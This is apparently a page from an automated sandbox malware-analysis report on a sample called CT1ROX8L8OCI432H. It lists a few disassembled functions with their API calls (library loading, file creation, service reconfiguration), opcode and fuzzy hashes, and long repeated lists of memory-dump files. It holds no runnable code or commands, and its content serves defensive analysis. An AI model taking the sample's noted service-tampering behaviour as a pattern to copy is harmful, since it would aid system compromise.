Associated: 00000003.00000002.2414244321.0000000000510000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414276912.0000000000514000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414310374.0000000000528000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414339708.0000000000529000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414370184.000000000052A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414399638.000000000052B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414437846.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414464139.0000000000549000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.0000000000555000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.000000000055D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414539479.000000000056C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414564454.000000000056E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: c7ff1d21a793286a87a35b97002dbc87c2ad302888e01f7445af932dbc9acd88
Instruction ID: 45f4b8e65616ec6f0dcda5ede290190b681699213b1451a40a43ff84b3575efc
Opcode Fuzzy Hash: c7ff1d21a793286a87a35b97002dbc87c2ad302888e01f7445af932dbc9acd88
Instruction Fuzzy Hash: 40415DB600420E8FDB21DF64C888BAF77A4EF08311F45052AEE8192951D77A5DA8CF5E

Function 00441F9C Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

C, xrefs: 0044243A

Memory Dump Source

Source File: 00000003.00000002.2413206358.000000000043B000.00000040.00000001.01000000.00000006.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000003.00000002.2412836193.00000000002C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412866418.00000000002C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412892470.00000000002C6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412920092.00000000002CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412948878.00000000002D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412971688.00000000002D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412997117.00000000002D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413151852.000000000042A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413180121.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413206358.0000000000446000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413253840.000000000044D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413275696.000000000044E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413299321.000000000044F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413324797.0000000000451000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413348596.000000000045B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413371521.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413395013.0000000000461000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413417459.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413446565.0000000000477000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413476803.0000000000478000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413499456.000000000047A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413528274.000000000048D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413559962.000000000049C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413589136.000000000049D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413614377.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413636311.00000000004A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413761059.00000000004AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413784655.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413809220.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413835584.00000000004BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413858288.00000000004C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413880563.00000000004C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413902158.00000000004C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413924537.00000000004C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413949897.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413973279.00000000004CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413996240.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414020046.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414044018.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414071673.00000000004EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414095626.00000000004EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414121057.00000000004EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414145900.00000000004F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414169275.00000000004F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414195968.0000000000505000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414217691.0000000000506000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414244321.0000000000510000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414276912.0000000000514000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414310374.0000000000528000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414339708.0000000000529000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414370184.000000000052A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414399638.000000000052B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414437846.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414464139.0000000000549000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.0000000000555000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.000000000055D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414539479.000000000056C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414564454.000000000056E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID:
String ID: C
API String ID: 0-1037565863
Opcode ID: e2b3de94c746936b2c77533390d59e68d8d37c17902310369edaee25c1e4a09e
Instruction ID: 220a7c93f47f61a023eb9bf3e37e6fc573e3113a5935280b6a0f070390836540
Opcode Fuzzy Hash: e2b3de94c746936b2c77533390d59e68d8d37c17902310369edaee25c1e4a09e
Instruction Fuzzy Hash: 9B516AB214825A6EF711DE51AB50AFF77E8EBD2330F70842BF841C6542D2AD0D46923D

Function 0043E922 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 105
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0043E922

Strings

gO7, xrefs: 0043E9DC

Memory Dump Source

Source File: 00000003.00000002.2413206358.000000000043B000.00000040.00000001.01000000.00000006.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000003.00000002.2412836193.00000000002C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412866418.00000000002C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412892470.00000000002C6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412920092.00000000002CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412948878.00000000002D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412971688.00000000002D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412997117.00000000002D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413151852.000000000042A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413180121.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413206358.0000000000446000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413253840.000000000044D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413275696.000000000044E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413299321.000000000044F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413324797.0000000000451000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413348596.000000000045B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413371521.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413395013.0000000000461000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413417459.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413446565.0000000000477000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413476803.0000000000478000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413499456.000000000047A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413528274.000000000048D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413559962.000000000049C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413589136.000000000049D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413614377.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413636311.00000000004A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413761059.00000000004AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413784655.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413809220.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413835584.00000000004BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413858288.00000000004C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413880563.00000000004C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413902158.00000000004C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413924537.00000000004C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413949897.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413973279.00000000004CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413996240.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414020046.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414044018.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414071673.00000000004EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414095626.00000000004EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414121057.00000000004EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414145900.00000000004F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414169275.00000000004F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414195968.0000000000505000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414217691.0000000000506000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414244321.0000000000510000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414276912.0000000000514000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414310374.0000000000528000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414339708.0000000000529000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414370184.000000000052A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414399638.000000000052B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414437846.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414464139.0000000000549000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.0000000000555000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.000000000055D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414539479.000000000056C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414564454.000000000056E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID: LibraryLoad
String ID: gO7
API String ID: 1029625771-3612920928
Opcode ID: 664010a43dd8387e254a2fea321f2ace66735dddc2d2f38efaa8472f35d410ce
Instruction ID: 089e2ef3f855e27fa9fb10966c54d6d1421b2bcc56c63b092e276cdd75b7ae0f
Opcode Fuzzy Hash: 664010a43dd8387e254a2fea321f2ace66735dddc2d2f38efaa8472f35d410ce
Instruction Fuzzy Hash: 8C3159F290C6009FD345AF29D88266AFBF8EF98710F16482DE6C5C3214E6355894CB97

Function 06DB15C4 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 06DB18C8

Memory Dump Source

Source File: 00000003.00000002.2416696240.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: c6148580373957f00bb2f68e7339f3c1f09746419cf61e8cd90097d289598308
Instruction ID: 680258d4b259350e735ea6150fdf1693866183e2b7f4ae85c43262a1b6f1145e
Opcode Fuzzy Hash: c6148580373957f00bb2f68e7339f3c1f09746419cf61e8cd90097d289598308
Instruction Fuzzy Hash: 50C15771D10659DFDB90CFA8CC957EEBBB1FB48310F148629E866E7288D7749881CB81

Function 0043E752 Relevance: 1.6, APIs: 1, Instructions: 122
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0043E752

Memory Dump Source

Source File: 00000003.00000002.2413206358.000000000043B000.00000040.00000001.01000000.00000006.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000003.00000002.2412836193.00000000002C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412866418.00000000002C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412892470.00000000002C6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412920092.00000000002CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412948878.00000000002D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412971688.00000000002D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412997117.00000000002D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413151852.000000000042A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413180121.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413206358.0000000000446000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413253840.000000000044D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413275696.000000000044E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413299321.000000000044F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413324797.0000000000451000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413348596.000000000045B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413371521.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413395013.0000000000461000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413417459.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413446565.0000000000477000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413476803.0000000000478000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413499456.000000000047A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413528274.000000000048D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413559962.000000000049C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413589136.000000000049D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413614377.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413636311.00000000004A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413761059.00000000004AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413784655.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413809220.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413835584.00000000004BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413858288.00000000004C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413880563.00000000004C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413902158.00000000004C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413924537.00000000004C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413949897.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413973279.00000000004CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413996240.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414020046.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414044018.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414071673.00000000004EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414095626.00000000004EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414121057.00000000004EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414145900.00000000004F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414169275.00000000004F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414195968.0000000000505000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414217691.0000000000506000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414244321.0000000000510000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414276912.0000000000514000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414310374.0000000000528000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414339708.0000000000529000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414370184.000000000052A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414399638.000000000052B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414437846.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414464139.0000000000549000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.0000000000555000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.000000000055D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414539479.000000000056C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414564454.000000000056E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 15cf96e386d2197182fa75915c690bbc20ca76c63fdfcb76a3f715afa29b510f
Instruction ID: 48c4731cc5024dd03d3904ff5a867a382a6c5097e1e01280786bb85701bab6bb
Opcode Fuzzy Hash: 15cf96e386d2197182fa75915c690bbc20ca76c63fdfcb76a3f715afa29b510f
Instruction Fuzzy Hash: F5418DB290D210EFE3056E29DC856BABBE9FF58320F16082EE6C593250D73954508B97

Function 00442012 Relevance: 1.6, APIs: 1, Instructions: 121
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00442044

Memory Dump Source

Source File: 00000003.00000002.2413206358.000000000043B000.00000040.00000001.01000000.00000006.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000003.00000002.2412836193.00000000002C0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412866418.00000000002C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412892470.00000000002C6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412920092.00000000002CA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412948878.00000000002D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412971688.00000000002D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2412997117.00000000002D6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413151852.000000000042A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413180121.000000000042D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413206358.0000000000446000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413253840.000000000044D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413275696.000000000044E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413299321.000000000044F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413324797.0000000000451000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413348596.000000000045B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413371521.000000000045E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413395013.0000000000461000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413417459.0000000000462000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413446565.0000000000477000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413476803.0000000000478000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413499456.000000000047A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413528274.000000000048D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413559962.000000000049C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413589136.000000000049D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413614377.00000000004A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413636311.00000000004A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413761059.00000000004AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413784655.00000000004B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413809220.00000000004B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413835584.00000000004BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413858288.00000000004C3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413880563.00000000004C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413902158.00000000004C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413924537.00000000004C9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413949897.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413973279.00000000004CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2413996240.00000000004D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414020046.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414044018.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414071673.00000000004EA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414095626.00000000004EB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414121057.00000000004EE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414145900.00000000004F7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414169275.00000000004F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414195968.0000000000505000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414217691.0000000000506000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414244321.0000000000510000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414276912.0000000000514000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414310374.0000000000528000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414339708.0000000000529000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414370184.000000000052A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414399638.000000000052B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414437846.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414464139.0000000000549000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.0000000000555000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414489629.000000000055D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414539479.000000000056C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2414564454.000000000056E000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c0000_CT1ROX8L8OCI432H.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4ec9f6db7f0642b28b65190a9aa74e7720d2601a3a021bd4c77a456597eb491f
Instruction ID: 0f84ab1c3351447c375fe89a53ad2ed3bff1248f0d85e3b79b65cd6c11826fad
